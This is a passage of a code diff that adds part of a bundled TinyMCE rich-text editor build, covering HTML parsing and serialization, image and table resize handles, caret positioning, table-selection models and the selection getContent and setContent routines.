+      parser.parse(html);
+      if (validate && invalidChildren.length) {
+        if (!args.context) {
+          fixInvalidChildren(invalidChildren);
+        } else {
+          args.invalid = true;
+        }
+      }
+      if (rootBlockName && (rootNode.name === 'body' || args.isRootContent)) {
+        addRootBlocks();
+      }
+      if (!args.invalid) {
+        for (name in matchedNodes) {
+          list = nodeFilters[name];
+          nodes = matchedNodes[name];
+          fi = nodes.length;
+          while (fi--) {
+            if (!nodes[fi].parent) {
+              nodes.splice(fi, 1);
+            }
+          }
+          for (i = 0, l = list.length; i < l; i++) {
+            list[i](nodes, name, args);
+          }
+        }
+        for (i = 0, l = attributeFilters.length; i < l; i++) {
+          list = attributeFilters[i];
+          if (list.name in matchedAttributes) {
+            nodes = matchedAttributes[list.name];
+            fi = nodes.length;
+            while (fi--) {
+              if (!nodes[fi].parent) {
+                nodes.splice(fi, 1);
+              }
+            }
+            for (fi = 0, fl = list.callbacks.length; fi < fl; fi++) {
+              list.callbacks[fi](nodes, list.name, args);
+            }
+          }
+        }
+      }
+      return rootNode;
+    };
+    var exports = {
+      schema: schema,
+      addAttributeFilter: addAttributeFilter,
+      getAttributeFilters: getAttributeFilters,
+      addNodeFilter: addNodeFilter,
+      getNodeFilters: getNodeFilters,
+      filterNode: filterNode,
+      parse: parse
+    };
+    register$2(exports, settings);
+    $_ee8az66qjjgwe8up.register(exports, settings);
+    return exports;
+  }
+
+  var addTempAttr = function (htmlParser, tempAttrs, name) {
+    if ($_6cwiepljjgwe7j4.inArray(tempAttrs, name) === -1) {
+      htmlParser.addAttributeFilter(name, function (nodes, name) {
+        var i = nodes.length;
+        while (i--) {
+          nodes[i].attr(name, null);
+        }
+      });
+      tempAttrs.push(name);
+    }
+  };
+  var postProcess$1 = function (editor, args, content) {
+    if (!args.no_events && editor) {
+      var outArgs = $_b2ca654tjjgwe8ic.firePostProcess(editor, merge(args, { content: content }));
+      return outArgs.content;
+    } else {
+      return content;
+    }
+  };
+  var getHtmlFromNode = function (dom, node, args) {
+    var html = $_2xw7ul2pjjgwe7xs.trim(args.getInner ? node.innerHTML : dom.getOuterHTML(node));
+    return args.selection || isWsPreserveElement(Element$$1.fromDom(node)) ? html : $_6cwiepljjgwe7j4.trim(html);
+  };
+  var parseHtml = function (htmlParser, html, args) {
+    var parserArgs = args.selection ? merge({ forced_root_block: false }, args) : args;
+    var rootNode = htmlParser.parse(html, parserArgs);
+    $_51rhs16njjgwe8ts.trimTrailingBr(rootNode);
+    return rootNode;
+  };
+  var serializeNode = function (settings, schema, node) {
+    var htmlSerializer = HtmlSerializer(settings, schema);
+    return htmlSerializer.serialize(node);
+  };
+  var toHtml = function (editor, settings, schema, rootNode, args) {
+    var content = serializeNode(settings, schema, rootNode);
+    return postProcess$1(editor, args, content);
+  };
+  function DomSerializer (settings, editor) {
+    var dom, schema, htmlParser;
+    var tempAttrs = ['data-mce-selected'];
+    dom = editor && editor.dom ? editor.dom : DOMUtils$1.DOM;
+    schema = editor && editor.schema ? editor.schema : Schema(settings);
+    settings.entity_encoding = settings.entity_encoding || 'named';
+    settings.remove_trailing_brs = 'remove_trailing_brs' in settings ? settings.remove_trailing_brs : true;
+    htmlParser = DomParser(settings, schema);
+    $_51rhs16njjgwe8ts.register(htmlParser, settings, dom);
+    var serialize = function (node, parserArgs) {
+      var args = merge({ format: 'html' }, parserArgs ? parserArgs : {});
+      var targetNode = $_5u4dpu6ojjgwe8u3.process(editor, node, args);
+      var html = getHtmlFromNode(dom, targetNode, args);
+      var rootNode = parseHtml(htmlParser, html, args);
+      return args.format === 'tree' ? rootNode : toHtml(editor, settings, schema, rootNode, args);
+    };
+    return {
+      schema: schema,
+      addNodeFilter: htmlParser.addNodeFilter,
+      addAttributeFilter: htmlParser.addAttributeFilter,
+      serialize: serialize,
+      addRules: function (rules) {
+        schema.addValidElements(rules);
+      },
+      setRules: function (rules) {
+        schema.setValidElements(rules);
+      },
+      addTempAttr: curry(addTempAttr, htmlParser, tempAttrs),
+      getTempAttrs: function () {
+        return tempAttrs;
+      }
+    };
+  }
+
+  function DomSerializer$1 (settings, editor) {
+    var domSerializer = DomSerializer(settings, editor);
+    return {
+      schema: domSerializer.schema,
+      addNodeFilter: domSerializer.addNodeFilter,
+      addAttributeFilter: domSerializer.addAttributeFilter,
+      serialize: domSerializer.serialize,
+      addRules: domSerializer.addRules,
+      setRules: domSerializer.setRules,
+      addTempAttr: domSerializer.addTempAttr,
+      getTempAttrs: domSerializer.getTempAttrs
+    };
+  }
+
+  function BookmarkManager(selection) {
+    return {
+      getBookmark: curry($_6refgt2vjjgwe7yn.getBookmark, selection),
+      moveToBookmark: curry($_6refgt2vjjgwe7yn.moveToBookmark, selection)
+    };
+  }
+  (function (BookmarkManager) {
+    BookmarkManager.isBookmarkNode = $_6refgt2vjjgwe7yn.isBookmarkNode;
+  }(BookmarkManager || (BookmarkManager = {})));
+  var BookmarkManager$1 = BookmarkManager;
+
+  var isContentEditableFalse$10 = $_3b9u2y1rjjgwe7qe.isContentEditableFalse;
+  var isContentEditableTrue$6 = $_3b9u2y1rjjgwe7qe.isContentEditableTrue;
+  var getContentEditableRoot$2 = function (root, node) {
+    while (node && node !== root) {
+      if (isContentEditableTrue$6(node) || isContentEditableFalse$10(node)) {
+        return node;
+      }
+      node = node.parentNode;
+    }
+    return null;
+  };
+  var ControlSelection = function (selection, editor) {
+    var dom = editor.dom, each = $_6cwiepljjgwe7j4.each;
+    var selectedElm, selectedElmGhost, resizeHelper, resizeHandles, selectedHandle;
+    var startX, startY, selectedElmX, selectedElmY, startW, startH, ratio, resizeStarted;
+    var width, height;
+    var editableDoc = editor.getDoc(), rootDocument = document;
+    var abs = Math.abs, round = Math.round, rootElement = editor.getBody();
+    var startScrollWidth, startScrollHeight;
+    resizeHandles = {
+      nw: [
+        0,
+        0,
+        -1,
+        -1
+      ],
+      ne: [
+        1,
+        0,
+        1,
+        -1
+      ],
+      se: [
+        1,
+        1,
+        1,
+        1
+      ],
+      sw: [
+        0,
+        1,
+        -1,
+        1
+      ]
+    };
+    var rootClass = '.mce-content-body';
+    editor.contentStyles.push(rootClass + ' div.mce-resizehandle {' + 'position: absolute;' + 'border: 1px solid black;' + 'box-sizing: content-box;' + 'background: #FFF;' + 'width: 7px;' + 'height: 7px;' + 'z-index: 10000' + '}' + rootClass + ' .mce-resizehandle:hover {' + 'background: #000' + '}' + rootClass + ' img[data-mce-selected],' + rootClass + ' hr[data-mce-selected] {' + 'outline: 1px solid black;' + 'resize: none' + '}' + rootClass + ' .mce-clonedresizable {' + 'position: absolute;' + ($_bcvfv9ajjgwe79v.gecko ? '' : 'outline: 1px dashed black;') + 'opacity: .5;' + 'filter: alpha(opacity=50);' + 'z-index: 10000' + '}' + rootClass + ' .mce-resize-helper {' + 'background: #555;' + 'background: rgba(0,0,0,0.75);' + 'border-radius: 3px;' + 'border: 1px;' + 'color: white;' + 'display: none;' + 'font-family: sans-serif;' + 'font-size: 12px;' + 'white-space: nowrap;' + 'line-height: 14px;' + 'margin: 5px 10px;' + 'padding: 5px;' + 'position: absolute;' + 'z-index: 10001' + '}');
+    var isImage = function (elm) {
+      return elm && (elm.nodeName === 'IMG' || editor.dom.is(elm, 'figure.image'));
+    };
+    var isEventOnImageOutsideRange = function (evt, range) {
+      return isImage(evt.target) && !$_bswl8d5ujjgwe8oh.isXYWithinRange(evt.clientX, evt.clientY, range);
+    };
+    var contextMenuSelectImage = function (evt) {
+      var target = evt.target;
+      if (isEventOnImageOutsideRange(evt, editor.selection.getRng()) && !evt.isDefaultPrevented()) {
+        evt.preventDefault();
+        editor.selection.select(target);
+      }
+    };
+    var getResizeTarget = function (elm) {
+      return editor.dom.is(elm, 'figure.image') ? elm.querySelector('img') : elm;
+    };
+    var isResizable = function (elm) {
+      var selector = editor.settings.object_resizing;
+      if (selector === false || $_bcvfv9ajjgwe79v.iOS) {
+        return false;
+      }
+      if (typeof selector !== 'string') {
+        selector = 'table,img,figure.image,div';
+      }
+      if (elm.getAttribute('data-mce-resize') === 'false') {
+        return false;
+      }
+      if (elm === editor.getBody()) {
+        return false;
+      }
+      return $_4yq1xp1gjjgwe7op.is(Element$$1.fromDom(elm), selector);
+    };
+    var resizeGhostElement = function (e) {
+      var deltaX, deltaY, proportional;
+      var resizeHelperX, resizeHelperY;
+      deltaX = e.screenX - startX;
+      deltaY = e.screenY - startY;
+      width = deltaX * selectedHandle[2] + startW;
+      height = deltaY * selectedHandle[3] + startH;
+      width = width < 5 ? 5 : width;
+      height = height < 5 ? 5 : height;
+      if (isImage(selectedElm) && editor.settings.resize_img_proportional !== false) {
+        proportional = !$_9udk9k5wjjgwe8on.modifierPressed(e);
+      } else {
+        proportional = $_9udk9k5wjjgwe8on.modifierPressed(e) || isImage(selectedElm) && selectedHandle[2] * selectedHandle[3] !== 0;
+      }
+      if (proportional) {
+        if (abs(deltaX) > abs(deltaY)) {
+          height = round(width * ratio);
+          width = round(height / ratio);
+        } else {
+          width = round(height / ratio);
+          height = round(width * ratio);
+        }
+      }
+      dom.setStyles(getResizeTarget(selectedElmGhost), {
+        width: width,
+        height: height
+      });
+      resizeHelperX = selectedHandle.startPos.x + deltaX;
+      resizeHelperY = selectedHandle.startPos.y + deltaY;
+      resizeHelperX = resizeHelperX > 0 ? resizeHelperX : 0;
+      resizeHelperY = resizeHelperY > 0 ? resizeHelperY : 0;
+      dom.setStyles(resizeHelper, {
+        left: resizeHelperX,
+        top: resizeHelperY,
+        display: 'block'
+      });
+      resizeHelper.innerHTML = width + ' &times; ' + height;
+      if (selectedHandle[2] < 0 && selectedElmGhost.clientWidth <= width) {
+        dom.setStyle(selectedElmGhost, 'left', selectedElmX + (startW - width));
+      }
+      if (selectedHandle[3] < 0 && selectedElmGhost.clientHeight <= height) {
+        dom.setStyle(selectedElmGhost, 'top', selectedElmY + (startH - height));
+      }
+      deltaX = rootElement.scrollWidth - startScrollWidth;
+      deltaY = rootElement.scrollHeight - startScrollHeight;
+      if (deltaX + deltaY !== 0) {
+        dom.setStyles(resizeHelper, {
+          left: resizeHelperX - deltaX,
+          top: resizeHelperY - deltaY
+        });
+      }
+      if (!resizeStarted) {
+        $_b2ca654tjjgwe8ic.fireObjectResizeStart(editor, selectedElm, startW, startH);
+        resizeStarted = true;
+      }
+    };
+    var endGhostResize = function () {
+      resizeStarted = false;
+      var setSizeProp = function (name$$1, value) {
+        if (value) {
+          if (selectedElm.style[name$$1] || !editor.schema.isValid(selectedElm.nodeName.toLowerCase(), name$$1)) {
+            dom.setStyle(getResizeTarget(selectedElm), name$$1, value);
+          } else {
+            dom.setAttrib(getResizeTarget(selectedElm), name$$1, value);
+          }
+        }
+      };
+      setSizeProp('width', width);
+      setSizeProp('height', height);
+      dom.unbind(editableDoc, 'mousemove', resizeGhostElement);
+      dom.unbind(editableDoc, 'mouseup', endGhostResize);
+      if (rootDocument !== editableDoc) {
+        dom.unbind(rootDocument, 'mousemove', resizeGhostElement);
+        dom.unbind(rootDocument, 'mouseup', endGhostResize);
+      }
+      dom.remove(selectedElmGhost);
+      dom.remove(resizeHelper);
+      showResizeRect(selectedElm);
+      $_b2ca654tjjgwe8ic.fireObjectResized(editor, selectedElm, width, height);
+      dom.setAttrib(selectedElm, 'style', dom.getAttrib(selectedElm, 'style'));
+      editor.nodeChanged();
+    };
+    var showResizeRect = function (targetElm) {
+      var position, targetWidth, targetHeight, e, rect;
+      hideResizeRect();
+      unbindResizeHandleEvents();
+      position = dom.getPos(targetElm, rootElement);
+      selectedElmX = position.x;
+      selectedElmY = position.y;
+      rect = targetElm.getBoundingClientRect();
+      targetWidth = rect.width || rect.right - rect.left;
+      targetHeight = rect.height || rect.bottom - rect.top;
+      if (selectedElm !== targetElm) {
+        selectedElm = targetElm;
+        width = height = 0;
+      }
+      e = editor.fire('ObjectSelected', { target: targetElm });
+      if (isResizable(targetElm) && !e.isDefaultPrevented()) {
+        each(resizeHandles, function (handle, name$$1) {
+          var handleElm;
+          var startDrag = function (e) {
+            startX = e.screenX;
+            startY = e.screenY;
+            startW = getResizeTarget(selectedElm).clientWidth;
+            startH = getResizeTarget(selectedElm).clientHeight;
+            ratio = startH / startW;
+            selectedHandle = handle;
+            handle.startPos = {
+              x: targetWidth * handle[0] + selectedElmX,
+              y: targetHeight * handle[1] + selectedElmY
+            };
+            startScrollWidth = rootElement.scrollWidth;
+            startScrollHeight = rootElement.scrollHeight;
+            selectedElmGhost = selectedElm.cloneNode(true);
+            dom.addClass(selectedElmGhost, 'mce-clonedresizable');
+            dom.setAttrib(selectedElmGhost, 'data-mce-bogus', 'all');
+            selectedElmGhost.contentEditable = false;
+            selectedElmGhost.unSelectabe = true;
+            dom.setStyles(selectedElmGhost, {
+              left: selectedElmX,
+              top: selectedElmY,
+              margin: 0
+            });
+            selectedElmGhost.removeAttribute('data-mce-selected');
+            rootElement.appendChild(selectedElmGhost);
+            dom.bind(editableDoc, 'mousemove', resizeGhostElement);
+            dom.bind(editableDoc, 'mouseup', endGhostResize);
+            if (rootDocument !== editableDoc) {
+              dom.bind(rootDocument, 'mousemove', resizeGhostElement);
+              dom.bind(rootDocument, 'mouseup', endGhostResize);
+            }
+            resizeHelper = dom.add(rootElement, 'div', {
+              'class': 'mce-resize-helper',
+              'data-mce-bogus': 'all'
+            }, startW + ' &times; ' + startH);
+          };
+          handleElm = dom.get('mceResizeHandle' + name$$1);
+          if (handleElm) {
+            dom.remove(handleElm);
+          }
+          handleElm = dom.add(rootElement, 'div', {
+            'id': 'mceResizeHandle' + name$$1,
+            'data-mce-bogus': 'all',
+            'class': 'mce-resizehandle',
+            'unselectable': true,
+            'style': 'cursor:' + name$$1 + '-resize; margin:0; padding:0'
+          });
+          if ($_bcvfv9ajjgwe79v.ie === 11) {
+            handleElm.contentEditable = false;
+          }
+          dom.bind(handleElm, 'mousedown', function (e) {
+            e.stopImmediatePropagation();
+            e.preventDefault();
+            startDrag(e);
+          });
+          handle.elm = handleElm;
+          dom.setStyles(handleElm, {
+            left: targetWidth * handle[0] + selectedElmX - handleElm.offsetWidth / 2,
+            top: targetHeight * handle[1] + selectedElmY - handleElm.offsetHeight / 2
+          });
+        });
+      } else {
+        hideResizeRect();
+      }
+      selectedElm.setAttribute('data-mce-selected', '1');
+    };
+    var hideResizeRect = function () {
+      var name$$1, handleElm;
+      unbindResizeHandleEvents();
+      if (selectedElm) {
+        selectedElm.removeAttribute('data-mce-selected');
+      }
+      for (name$$1 in resizeHandles) {
+        handleElm = dom.get('mceResizeHandle' + name$$1);
+        if (handleElm) {
+          dom.unbind(handleElm);
+          dom.remove(handleElm);
+        }
+      }
+    };
+    var updateResizeRect = function (e) {
+      var startElm, controlElm;
+      var isChildOrEqual = function (node, parent$$1) {
+        if (node) {
+          do {
+            if (node === parent$$1) {
+              return true;
+            }
+          } while (node = node.parentNode);
+        }
+      };
+      if (resizeStarted || editor.removed) {
+        return;
+      }
+      each(dom.select('img[data-mce-selected],hr[data-mce-selected]'), function (img) {
+        img.removeAttribute('data-mce-selected');
+      });
+      controlElm = e.type === 'mousedown' ? e.target : selection.getNode();
+      controlElm = dom.$(controlElm).closest('table,img,figure.image,hr')[0];
+      if (isChildOrEqual(controlElm, rootElement)) {
+        disableGeckoResize();
+        startElm = selection.getStart(true);
+        if (isChildOrEqual(startElm, controlElm) && isChildOrEqual(selection.getEnd(true), controlElm)) {
+          showResizeRect(controlElm);
+          return;
+        }
+      }
+      hideResizeRect();
+    };
+    var isWithinContentEditableFalse = function (elm) {
+      return isContentEditableFalse$10(getContentEditableRoot$2(editor.getBody(), elm));
+    };
+    var unbindResizeHandleEvents = function () {
+      for (var name$$1 in resizeHandles) {
+        var handle = resizeHandles[name$$1];
+        if (handle.elm) {
+          dom.unbind(handle.elm);
+          delete handle.elm;
+        }
+      }
+    };
+    var disableGeckoResize = function () {
+      try {
+        editor.getDoc().execCommand('enableObjectResizing', false, false);
+      } catch (ex) {
+      }
+    };
+    editor.on('init', function () {
+      disableGeckoResize();
+      if ($_bcvfv9ajjgwe79v.ie && $_bcvfv9ajjgwe79v.ie >= 11) {
+        editor.on('mousedown click', function (e) {
+          var target = e.target, nodeName = target.nodeName;
+          if (!resizeStarted && /^(TABLE|IMG|HR)$/.test(nodeName) && !isWithinContentEditableFalse(target)) {
+            if (e.button !== 2) {
+              editor.selection.select(target, nodeName === 'TABLE');
+            }
+            if (e.type === 'mousedown') {
+              editor.nodeChanged();
+            }
+          }
+        });
+        editor.dom.bind(rootElement, 'mscontrolselect', function (e) {
+          var delayedSelect = function (node) {
+            $_9o1ijaijjgwe7dm.setEditorTimeout(editor, function () {
+              editor.selection.select(node);
+            });
+          };
+          if (isWithinContentEditableFalse(e.target)) {
+            e.preventDefault();
+            delayedSelect(e.target);
+            return;
+          }
+          if (/^(TABLE|IMG|HR)$/.test(e.target.nodeName)) {
+            e.preventDefault();
+            if (e.target.tagName === 'IMG') {
+              delayedSelect(e.target);
+            }
+          }
+        });
+      }
+      var throttledUpdateResizeRect = $_9o1ijaijjgwe7dm.throttle(function (e) {
+        if (!editor.composing) {
+          updateResizeRect(e);
+        }
+      });
+      editor.on('nodechange ResizeEditor ResizeWindow drop FullscreenStateChanged', throttledUpdateResizeRect);
+      editor.on('keyup compositionend', function (e) {
+        if (selectedElm && selectedElm.nodeName === 'TABLE') {
+          throttledUpdateResizeRect(e);
+        }
+      });
+      editor.on('hide blur', hideResizeRect);
+      editor.on('contextmenu', contextMenuSelectImage);
+    });
+    editor.on('remove', unbindResizeHandleEvents);
+    var destroy = function () {
+      selectedElm = selectedElmGhost = null;
+    };
+    return {
+      isResizable: isResizable,
+      showResizeRect: showResizeRect,
+      hideResizeRect: hideResizeRect,
+      updateResizeRect: updateResizeRect,
+      destroy: destroy
+    };
+  };
+
+  var hasCeProperty = function (node) {
+    return $_3b9u2y1rjjgwe7qe.isContentEditableTrue(node) || $_3b9u2y1rjjgwe7qe.isContentEditableFalse(node);
+  };
+  var findParent$1 = function (node, rootNode, predicate) {
+    while (node && node !== rootNode) {
+      if (predicate(node)) {
+        return node;
+      }
+      node = node.parentNode;
+    }
+    return null;
+  };
+  var findClosestIeRange = function (clientX, clientY, doc) {
+    var element, rng, rects;
+    element = doc.elementFromPoint(clientX, clientY);
+    rng = doc.body.createTextRange();
+    if (!element || element.tagName === 'HTML') {
+      element = doc.body;
+    }
+    rng.moveToElementText(element);
+    rects = $_6cwiepljjgwe7j4.toArray(rng.getClientRects());
+    rects = rects.sort(function (a, b) {
+      a = Math.abs(Math.max(a.top - clientY, a.bottom - clientY));
+      b = Math.abs(Math.max(b.top - clientY, b.bottom - clientY));
+      return a - b;
+    });
+    if (rects.length > 0) {
+      clientY = (rects[0].bottom + rects[0].top) / 2;
+      try {
+        rng.moveToPoint(clientX, clientY);
+        rng.collapse(true);
+        return rng;
+      } catch (ex) {
+      }
+    }
+    return null;
+  };
+  var moveOutOfContentEditableFalse = function (rng, rootNode) {
+    var parentElement = rng && rng.parentElement ? rng.parentElement() : null;
+    return $_3b9u2y1rjjgwe7qe.isContentEditableFalse(findParent$1(parentElement, rootNode, hasCeProperty)) ? null : rng;
+  };
+  var fromPoint$1 = function (clientX, clientY, doc) {
+    var rng, point;
+    var pointDoc = doc;
+    if (pointDoc.caretPositionFromPoint) {
+      point = pointDoc.caretPositionFromPoint(clientX, clientY);
+      if (point) {
+        rng = doc.createRange();
+        rng.setStart(point.offsetNode, point.offset);
+        rng.collapse(true);
+      }
+    } else if (doc.caretRangeFromPoint) {
+      rng = doc.caretRangeFromPoint(clientX, clientY);
+    } else if (pointDoc.body.createTextRange) {
+      rng = pointDoc.body.createTextRange();
+      try {
+        rng.moveToPoint(clientX, clientY);
+        rng.collapse(true);
+      } catch (ex) {
+        rng = findClosestIeRange(clientX, clientY, doc);
+      }
+      return moveOutOfContentEditableFalse(rng, doc.body);
+    }
+    return rng;
+  };
+  var $_269jak6xjjgwe8wp = { fromPoint: fromPoint$1 };
+
+  var processRanges = function (editor, ranges) {
+    return map(ranges, function (range$$1) {
+      var evt = editor.fire('GetSelectionRange', { range: range$$1 });
+      return evt.range !== range$$1 ? evt.range : range$$1;
+    });
+  };
+  var $_atnm1d6yjjgwe8wr = { processRanges: processRanges };
+
+  var fromElements = function (elements, scope) {
+    var doc = scope || document;
+    var fragment = doc.createDocumentFragment();
+    each(elements, function (element) {
+      fragment.appendChild(element.dom());
+    });
+    return Element$$1.fromDom(fragment);
+  };
+  var $_xpi1671jjgwe8xg = { fromElements: fromElements };
+
+  var tableModel = Immutable('element', 'width', 'rows');
+  var tableRow = Immutable('element', 'cells');
+  var cellPosition = Immutable('x', 'y');
+  var getSpan = function (td, key) {
+    var value = parseInt($_etx7gr15jjgwe7mr.get(td, key), 10);
+    return isNaN(value) ? 1 : value;
+  };
+  var fillout = function (table, x, y, tr, td) {
+    var rowspan = getSpan(td, 'rowspan');
+    var colspan = getSpan(td, 'colspan');
+    var rows = table.rows();
+    for (var y2 = y; y2 < y + rowspan; y2++) {
+      if (!rows[y2]) {
+        rows[y2] = tableRow($_6do1m42ijjgwe7wd.deep(tr), []);
+      }
+      for (var x2 = x; x2 < x + colspan; x2++) {
+        var cells = rows[y2].cells();
+        cells[x2] = y2 === y && x2 === x ? td : $_6do1m42ijjgwe7wd.shallow(td);
+      }
+    }
+  };
+  var cellExists = function (table, x, y) {
+    var rows = table.rows();
+    var cells = rows[y] ? rows[y].cells() : [];
+    return !!cells[x];
+  };
+  var skipCellsX = function (table, x, y) {
+    while (cellExists(table, x, y)) {
+      x++;
+    }
+    return x;
+  };
+  var getWidth = function (rows) {
+    return foldl(rows, function (acc, row) {
+      return row.cells().length > acc ? row.cells().length : acc;
+    }, 0);
+  };
+  var findElementPos = function (table, element) {
+    var rows = table.rows();
+    for (var y = 0; y < rows.length; y++) {
+      var cells = rows[y].cells();
+      for (var x = 0; x < cells.length; x++) {
+        if ($_5raon11ejjgwe7o5.eq(cells[x], element)) {
+          return Option.some(cellPosition(x, y));
+        }
+      }
+    }
+    return Option.none();
+  };
+  var extractRows = function (table, sx, sy, ex, ey) {
+    var newRows = [];
+    var rows = table.rows();
+    for (var y = sy; y <= ey; y++) {
+      var cells = rows[y].cells();
+      var slice = sx < ex ? cells.slice(sx, ex + 1) : cells.slice(ex, sx + 1);
+      newRows.push(tableRow(rows[y].element(), slice));
+    }
+    return newRows;
+  };
+  var subTable = function (table, startPos, endPos) {
+    var sx = startPos.x(), sy = startPos.y();
+    var ex = endPos.x(), ey = endPos.y();
+    var newRows = sy < ey ? extractRows(table, sx, sy, ex, ey) : extractRows(table, sx, ey, ex, sy);
+    return tableModel(table.element(), getWidth(newRows), newRows);
+  };
+  var createDomTable = function (table, rows) {
+    var tableElement = $_6do1m42ijjgwe7wd.shallow(table.element());
+    var tableBody = Element$$1.fromTag('tbody');
+    $_4wf3mo1xjjgwe7sq.append(tableBody, rows);
+    $_ewo3u51yjjgwe7su.append(tableElement, tableBody);
+    return tableElement;
+  };
+  var modelRowsToDomRows = function (table) {
+    return map(table.rows(), function (row) {
+      var cells = map(row.cells(), function (cell) {
+        var td = $_6do1m42ijjgwe7wd.deep(cell);
+        $_etx7gr15jjgwe7mr.remove(td, 'colspan');
+        $_etx7gr15jjgwe7mr.remove(td, 'rowspan');
+        return td;
+      });
+      var tr = $_6do1m42ijjgwe7wd.shallow(row.element());
+      $_4wf3mo1xjjgwe7sq.append(tr, cells);
+      return tr;
+    });
+  };
+  var fromDom$2 = function (tableElm) {
+    var table = tableModel($_6do1m42ijjgwe7wd.shallow(tableElm), 0, []);
+    each($_d3ydn427jjgwe7uf.descendants(tableElm, 'tr'), function (tr, y) {
+      each($_d3ydn427jjgwe7uf.descendants(tr, 'td,th'), function (td, x) {
+        fillout(table, skipCellsX(table, x, y), y, tr, td);
+      });
+    });
+    return tableModel(table.element(), getWidth(table.rows()), table.rows());
+  };
+  var toDom = function (table) {
+    return createDomTable(table, modelRowsToDomRows(table));
+  };
+  var subsection = function (table, startElement, endElement) {
+    return findElementPos(table, startElement).bind(function (startPos) {
+      return findElementPos(table, endElement).map(function (endPos) {
+        return subTable(table, startPos, endPos);
+      });
+    });
+  };
+  var $_frz8qx72jjgwe8xv = {
+    fromDom: fromDom$2,
+    toDom: toDom,
+    subsection: subsection
+  };
+
+  var findParentListContainer = function (parents) {
+    return find(parents, function (elm) {
+      return $_fxxo5411jjgwe7lq.name(elm) === 'ul' || $_fxxo5411jjgwe7lq.name(elm) === 'ol';
+    });
+  };
+  var getFullySelectedListWrappers = function (parents, rng) {
+    return find(parents, function (elm) {
+      return $_fxxo5411jjgwe7lq.name(elm) === 'li' && hasAllContentsSelected(elm, rng);
+    }).fold(constant([]), function (li) {
+      return findParentListContainer(parents).map(function (listCont) {
+        return [
+          Element$$1.fromTag('li'),
+          Element$$1.fromTag($_fxxo5411jjgwe7lq.name(listCont))
+        ];
+      }).getOr([]);
+    });
+  };
+  var wrap$3 = function (innerElm, elms) {
+    var wrapped = foldl(elms, function (acc, elm) {
+      $_ewo3u51yjjgwe7su.append(elm, acc);
+      return elm;
+    }, innerElm);
+    return elms.length > 0 ? $_xpi1671jjgwe8xg.fromElements([wrapped]) : wrapped;
+  };
+  var directListWrappers = function (commonAnchorContainer) {
+    if (isListItem(commonAnchorContainer)) {
+      return $_d3rmjp18jjgwe7nc.parent(commonAnchorContainer).filter(isList).fold(constant([]), function (listElm) {
+        return [
+          commonAnchorContainer,
+          listElm
+        ];
+      });
+    } else {
+      return isList(commonAnchorContainer) ? [commonAnchorContainer] : [];
+    }
+  };
+  var getWrapElements = function (rootNode, rng) {
+    var commonAnchorContainer = Element$$1.fromDom(rng.commonAncestorContainer);
+    var parents = $_cvft7x3zjjgwe8bh.parentsAndSelf(commonAnchorContainer, rootNode);
+    var wrapElements = filter(parents, function (elm) {
+      return isInline(elm) || isHeading(elm);
+    });
+    var listWrappers = getFullySelectedListWrappers(parents, rng);
+    var allWrappers = wrapElements.concat(listWrappers.length ? listWrappers : directListWrappers(commonAnchorContainer));
+    return map(allWrappers, $_6do1m42ijjgwe7wd.shallow);
+  };
+  var emptyFragment = function () {
+    return $_xpi1671jjgwe8xg.fromElements([]);
+  };
+  var getFragmentFromRange = function (rootNode, rng) {
+    return wrap$3(Element$$1.fromDom(rng.cloneContents()), getWrapElements(rootNode, rng));
+  };
+  var getParentTable = function (rootElm, cell) {
+    return $_ajwe9029jjgwe7ul.ancestor(cell, 'table', curry($_5raon11ejjgwe7o5.eq, rootElm));
+  };
+  var getTableFragment = function (rootNode, selectedTableCells) {
+    return getParentTable(rootNode, selectedTableCells[0]).bind(function (tableElm) {
+      var firstCell = selectedTableCells[0];
+      var lastCell = selectedTableCells[selectedTableCells.length - 1];
+      var fullTableModel = $_frz8qx72jjgwe8xv.fromDom(tableElm);
+      return $_frz8qx72jjgwe8xv.subsection(fullTableModel, firstCell, lastCell).map(function (sectionedTableModel) {
+        return $_xpi1671jjgwe8xg.fromElements([$_frz8qx72jjgwe8xv.toDom(sectionedTableModel)]);
+      });
+    }).getOrThunk(emptyFragment);
+  };
+  var getSelectionFragment = function (rootNode, ranges) {
+    return ranges.length > 0 && ranges[0].collapsed ? emptyFragment() : getFragmentFromRange(rootNode, ranges[0]);
+  };
+  var read$4 = function (rootNode, ranges) {
+    var selectedCells = $_97ifsc4ejjgwe8fg.getCellsFromElementOrRanges(ranges, rootNode);
+    return selectedCells.length > 0 ? getTableFragment(rootNode, selectedCells) : getSelectionFragment(rootNode, ranges);
+  };
+  var $_c5lgd70jjgwe8wz = { read: read$4 };
+
+  var getContent = function (editor, args) {
+    var rng = editor.selection.getRng(), tmpElm = editor.dom.create('body');
+    var sel = editor.selection.getSel();
+    var fragment;
+    var ranges = $_atnm1d6yjjgwe8wr.processRanges(editor, $_2y1a8s4fjjgwe8fm.getRanges(sel));
+    args = args || {};
+    args.get = true;
+    args.format = args.format || 'html';
+    args.selection = true;
+    args = editor.fire('BeforeGetContent', args);
+    if (args.isDefaultPrevented()) {
+      editor.fire('GetContent', args);
+      return args.content;
+    }
+    if (args.format === 'text') {
+      return editor.selection.isCollapsed() ? '' : $_2xw7ul2pjjgwe7xs.trim(rng.text || (sel.toString ? sel.toString() : ''));
+    }
+    if (rng.cloneContents) {
+      fragment = args.contextual ? $_c5lgd70jjgwe8wz.read(Element$$1.fromDom(editor.getBody()), ranges).dom() : rng.cloneContents();
+      if (fragment) {
+        tmpElm.appendChild(fragment);
+      }
+    } else if (rng.item !== undefined || rng.htmlText !== undefined) {
+      tmpElm.innerHTML = '<br>' + (rng.item ? rng.item(0).outerHTML : rng.htmlText);
+      tmpElm.removeChild(tmpElm.firstChild);
+    } else {
+      tmpElm.innerHTML = rng.toString();
+    }
+    args.getInner = true;
+    var content = editor.selection.serializer.serialize(tmpElm, args);
+    if (args.format === 'tree') {
+      return content;
+    }
+    args.content = editor.selection.isCollapsed() ? '' : content;
+    editor.fire('GetContent', args);
+    return args.content;
+  };
+  var $_41mrdx6zjjgwe8wu = { getContent: getContent };
+
+  var setContent = function (editor, content, args) {
+    var rng = editor.selection.getRng(), caretNode;
+    var doc = editor.getDoc();
+    var frag, temp;
+    args = args || { format: 'html' };
+    args.set = true;
+    args.selection = true;
+    args.content = content;
+    if (!args.no_events) {
+      args = editor.fire('BeforeSetContent', args);
+      if (args.isDefaultPrevented()) {
+        editor.fire('SetContent', args);
+        return;
+      }
+    }
+    content = args.content;
+    if (rng.insertNode) {
+      content += '<span id="__caret">_</span>';
+      if (rng.startContainer === doc && rng.endContainer === doc) {
+        doc.body.innerHTML = content;
+      } else {
+        rng.deleteContents();
+        if (doc.body.childNodes.length === 0) {
+          doc.body.innerHTML = content;
+        } else {
